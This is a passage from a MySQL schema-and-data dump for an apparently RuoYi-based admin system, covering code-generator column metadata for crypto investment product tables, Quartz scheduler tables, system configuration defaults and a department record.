8, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (547, '37', 'end_time', '到期时间', 'datetime', 'Date', 'endTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 9, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (548, '37', 'settle_time', '结算时间', 'datetime', 'Date', 'settleTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 10, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (549, '37', 'accumula_earn', '累计收益', 'decimal(20,4)', 'BigDecimal', 'accumulaEarn', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (550, '37', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 12, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (551, '37', 'min_odds', '最小利率', 'decimal(8,2)', 'BigDecimal', 'minOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (552, '37', 'max_odds', '最大利率', 'decimal(8,2)', 'BigDecimal', 'maxOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (553, '37', 'admin_user_ids', '后台用户id', 'varchar(255)', 'String', 'adminUserIds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (554, '37', 'collection_order', NULL, 'varchar(100)', 'String', 'collectionOrder', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (555, '37', 'user_id', NULL, 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (556, '37', 'order_amount', NULL, 'decimal(20,4)', 'BigDecimal', 'orderAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43'); +INSERT INTO `gen_table_column` VALUES (557, '38', 'id', NULL, 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (558, '38', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (559, '38', 'icon', '图标', 'varchar(255)', 'String', 'icon', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (560, '38', 'status', '启用禁用(展示在前端)1开0关', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 4, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (561, '38', 'days', '天数(如 7,10,30)', 'varchar(200)', 'String', 'days', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (562, '38', 'default_odds', '违约利率', 'decimal(8,2)', 'BigDecimal', 'defaultOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (563, '38', 'min_odds', '最小日利率百分比', 'decimal(8,3)', 'BigDecimal', 'minOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (564, '38', 'max_odds', '最大日利率百分比', 'decimal(8,3)', 'BigDecimal', 'maxOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (565, '38', 'time_limit', '每人限购次数,0表示不限', 'int', 'Long', 'timeLimit', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (566, '38', 'limit_min', '最小金额', 'decimal(20,4)', 'BigDecimal', 'limitMin', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (567, '38', 'limit_max', '最大金额', 'decimal(20,4)', 'BigDecimal', 'limitMax', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (568, '38', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (569, '38', 'create_by', '创建人', 'varchar(255)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 13, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (570, '38', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 14, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (571, '38', 'update_by', '更新人员', 'varchar(255)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 15, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (572, '38', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 16, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (573, '38', 'buy_purchase', ' 购买次数', 'int', 'Long', 'buyPurchase', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (574, '38', 'coin', '币种 ', 'varchar(20)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); +INSERT INTO `gen_table_column` VALUES (575, '38', 'remark', '标签', 'varchar(1000)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 19, 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34'); + +-- ---------------------------- +-- Table structure for qrtz_blob_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_blob_triggers`; +CREATE TABLE `qrtz_blob_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `blob_data` blob NULL COMMENT '存放持久化Trigger对象', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + CONSTRAINT `qrtz_blob_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `trigger_name`, `trigger_group`) REFERENCES `qrtz_triggers` (`sched_name`, `trigger_name`, `trigger_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = 'Blob类型的触发器表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_calendars +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_calendars`; +CREATE TABLE `qrtz_calendars` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `calendar_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '日历名称', + `calendar` blob NOT NULL COMMENT '存放持久化calendar对象', + PRIMARY KEY (`sched_name`, `calendar_name`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '日历信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_cron_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_cron_triggers`; +CREATE TABLE `qrtz_cron_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `cron_expression` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'cron表达式', + `time_zone_id` varchar(80) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '时区', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + CONSTRAINT `qrtz_cron_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `trigger_name`, `trigger_group`) REFERENCES `qrtz_triggers` (`sched_name`, `trigger_name`, `trigger_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = 'Cron类型的触发器表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_fired_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_fired_triggers`; +CREATE TABLE `qrtz_fired_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `entry_id` varchar(95) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度器实例id', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `instance_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度器实例名', + `fired_time` bigint(0) NOT NULL COMMENT '触发的时间', + `sched_time` bigint(0) NOT NULL COMMENT '定时器制定的时间', + `priority` int(0) NOT NULL COMMENT '优先级', + `state` varchar(16) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '状态', + `job_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '任务名称', + `job_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '任务组名', + `is_nonconcurrent` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否并发', + `requests_recovery` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否接受恢复执行', + PRIMARY KEY (`sched_name`, `entry_id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '已触发的触发器表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_job_details +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_job_details`; +CREATE TABLE `qrtz_job_details` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `job_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '任务名称', + `job_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '任务组名', + `description` varchar(250) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '相关介绍', + `job_class_name` varchar(250) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '执行任务类名称', + `is_durable` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '是否持久化', + `is_nonconcurrent` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '是否并发', + `is_update_data` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '是否更新数据', + `requests_recovery` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '是否接受恢复执行', + `job_data` blob NULL COMMENT '存放持久化job对象', + PRIMARY KEY (`sched_name`, `job_name`, `job_group`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '任务详细信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_locks +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_locks`; +CREATE TABLE `qrtz_locks` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `lock_name` varchar(40) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '悲观锁名称', + PRIMARY KEY (`sched_name`, `lock_name`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '存储的悲观锁信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_paused_trigger_grps +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_paused_trigger_grps`; +CREATE TABLE `qrtz_paused_trigger_grps` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + PRIMARY KEY (`sched_name`, `trigger_group`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '暂停的触发器表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_scheduler_state +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_scheduler_state`; +CREATE TABLE `qrtz_scheduler_state` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `instance_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '实例名称', + `last_checkin_time` bigint(0) NOT NULL COMMENT '上次检查时间', + `checkin_interval` bigint(0) NOT NULL COMMENT '检查间隔时间', + PRIMARY KEY (`sched_name`, `instance_name`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '调度器状态表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_simple_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_simple_triggers`; +CREATE TABLE `qrtz_simple_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `repeat_count` bigint(0) NOT NULL COMMENT '重复的次数统计', + `repeat_interval` bigint(0) NOT NULL COMMENT '重复的间隔时间', + `times_triggered` bigint(0) NOT NULL COMMENT '已经触发的次数', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + CONSTRAINT `qrtz_simple_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `trigger_name`, `trigger_group`) REFERENCES `qrtz_triggers` (`sched_name`, `trigger_name`, `trigger_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '简单触发器的信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_simprop_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_simprop_triggers`; +CREATE TABLE `qrtz_simprop_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_name的外键', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_triggers表trigger_group的外键', + `str_prop_1` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'String类型的trigger的第一个参数', + `str_prop_2` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'String类型的trigger的第二个参数', + `str_prop_3` varchar(512) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'String类型的trigger的第三个参数', + `int_prop_1` int(0) NULL DEFAULT NULL COMMENT 'int类型的trigger的第一个参数', + `int_prop_2` int(0) NULL DEFAULT NULL COMMENT 'int类型的trigger的第二个参数', + `long_prop_1` bigint(0) NULL DEFAULT NULL COMMENT 'long类型的trigger的第一个参数', + `long_prop_2` bigint(0) NULL DEFAULT NULL COMMENT 'long类型的trigger的第二个参数', + `dec_prop_1` decimal(13, 4) NULL DEFAULT NULL COMMENT 'decimal类型的trigger的第一个参数', + `dec_prop_2` decimal(13, 4) NULL DEFAULT NULL COMMENT 'decimal类型的trigger的第二个参数', + `bool_prop_1` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'Boolean类型的trigger的第一个参数', + `bool_prop_2` varchar(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'Boolean类型的trigger的第二个参数', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + CONSTRAINT `qrtz_simprop_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `trigger_name`, `trigger_group`) REFERENCES `qrtz_triggers` (`sched_name`, `trigger_name`, `trigger_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '同步机制的行锁表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for qrtz_triggers +-- ---------------------------- +DROP TABLE IF EXISTS `qrtz_triggers`; +CREATE TABLE `qrtz_triggers` ( + `sched_name` varchar(120) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调度名称', + `trigger_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '触发器的名字', + `trigger_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '触发器所属组的名字', + `job_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_job_details表job_name的外键', + `job_group` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT 'qrtz_job_details表job_group的外键', + `description` varchar(250) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '相关介绍', + `next_fire_time` bigint(0) NULL DEFAULT NULL COMMENT '上一次触发时间(毫秒)', + `prev_fire_time` bigint(0) NULL DEFAULT NULL COMMENT '下一次触发时间(默认为-1表示不触发)', + `priority` int(0) NULL DEFAULT NULL COMMENT '优先级', + `trigger_state` varchar(16) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '触发器状态', + `trigger_type` varchar(8) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '触发器的类型', + `start_time` bigint(0) NOT NULL COMMENT '开始时间', + `end_time` bigint(0) NULL DEFAULT NULL COMMENT '结束时间', + `calendar_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '日程表名称', + `misfire_instr` smallint(0) NULL DEFAULT NULL COMMENT '补偿执行的策略', + `job_data` blob NULL COMMENT '存放持久化job对象', + PRIMARY KEY (`sched_name`, `trigger_name`, `trigger_group`) USING BTREE, + INDEX `sched_name`(`sched_name`, `job_name`, `job_group`) USING BTREE, + CONSTRAINT `qrtz_triggers_ibfk_1` FOREIGN KEY (`sched_name`, `job_name`, `job_group`) REFERENCES `qrtz_job_details` (`sched_name`, `job_name`, `job_group`) ON DELETE RESTRICT ON UPDATE RESTRICT +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '触发器详细信息表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for sys_config +-- ---------------------------- +DROP TABLE IF EXISTS `sys_config`; +CREATE TABLE `sys_config` ( + `config_id` int(0) NOT NULL AUTO_INCREMENT COMMENT '参数主键', + `config_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '参数名称', + `config_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '参数键名', + `config_value` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '参数键值', + `config_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'N' COMMENT '系统内置(Y是 N否)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`config_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 103 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '参数配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_config +-- ---------------------------- +INSERT INTO `sys_config` VALUES (1, '主框架页-默认皮肤样式名称', 'sys.index.skinName', 'skin-blue', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '蓝色 skin-blue、绿色 skin-green、紫色 skin-purple、红色 skin-red、黄色 skin-yellow'); +INSERT INTO `sys_config` VALUES (2, '用户管理-账号初始密码', 'sys.user.initPassword', '123456', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '初始化密码 123456'); +INSERT INTO `sys_config` VALUES (3, '主框架页-侧边栏主题', 'sys.index.sideTheme', 'theme-dark', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '深色主题theme-dark,浅色主题theme-light'); +INSERT INTO `sys_config` VALUES (4, '账号自助-验证码开关', 'sys.account.captchaEnabled', 'true', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '是否开启验证码功能(true开启,false关闭)'); +INSERT INTO `sys_config` VALUES (5, '账号自助-是否开启用户注册功能', 'sys.account.registerUser', 'false', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '是否开启注册用户功能(true开启,false关闭)'); +INSERT INTO `sys_config` VALUES (6, '用户登录-黑名单列表', 'sys.login.blackIPList', '', 'Y', 'admin', '2023-06-24 15:31:37', '', NULL, '设置登录IP黑名单限制,多个匹配项以;分隔,支持匹配(*通配、网段)'); +INSERT INTO `sys_config` VALUES (100, 'APP实名认证(初级)', 'app.verified.primary', 'true', 'Y', 'admin', '2023-07-07 10:41:59', 'admin', '2023-07-07 10:42:24', 'true 开启 false 关闭'); +INSERT INTO `sys_config` VALUES (101, 'APP实名认证(高级)', 'app.verified.advanced', 'true', 'Y', 'admin', '2023-07-07 10:41:59', 'admin', '2023-07-07 10:43:58', 'true 开启 false 关闭'); +INSERT INTO `sys_config` VALUES (102, 'ERC', 'ERC', '0x226d79714547d9cdef9540ffdc0191e5d9ba6307', 'Y', 'admin', '2023-08-19 19:44:53', 'admin', '2023-08-25 00:31:19', NULL); + +-- ---------------------------- +-- Table structure for sys_dept +-- ---------------------------- +DROP TABLE IF EXISTS `sys_dept`; +CREATE TABLE `sys_dept` ( + `dept_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '部门id', + `parent_id` bigint(0) NULL DEFAULT 0 COMMENT '父部门id', + `ancestors` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '祖级列表', + `dept_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '部门名称', + `order_num` int(0) NULL DEFAULT 0 COMMENT '显示顺序', + `leader` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '负责人', + `phone` varchar(11) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '联系电话', + `email` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '邮箱', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '部门状态(0正常 1停用)', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '删除标志(0代表存在 2代表删除)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`dept_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 200 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '部门表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_dept +-- ---------------------------- +INSERT INTO `sys_dept` VALUES (100, 0, '0', '若依科技', 0, '若依', '15888888888', 'ry@qq.com', '0', '0', 'admin', '2023-06-24 15:31:37', '', NULL); + +-- ---------------------------- +-- Table structure for sys_dict_data +-- ---------------------------- +DROP TABLE IF EXISTS `sys_dict_data`; +CREATE TABLE `sys_dict_data` ( + `dict_code` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '字典编码', + `dict_sort` int(0) NULL DEFAULT 0 COMMENT '字典排序', + `dict_label` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典标签', + `dict_value` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典键值', + `dict_type` varchar(100) CHARACTER SET 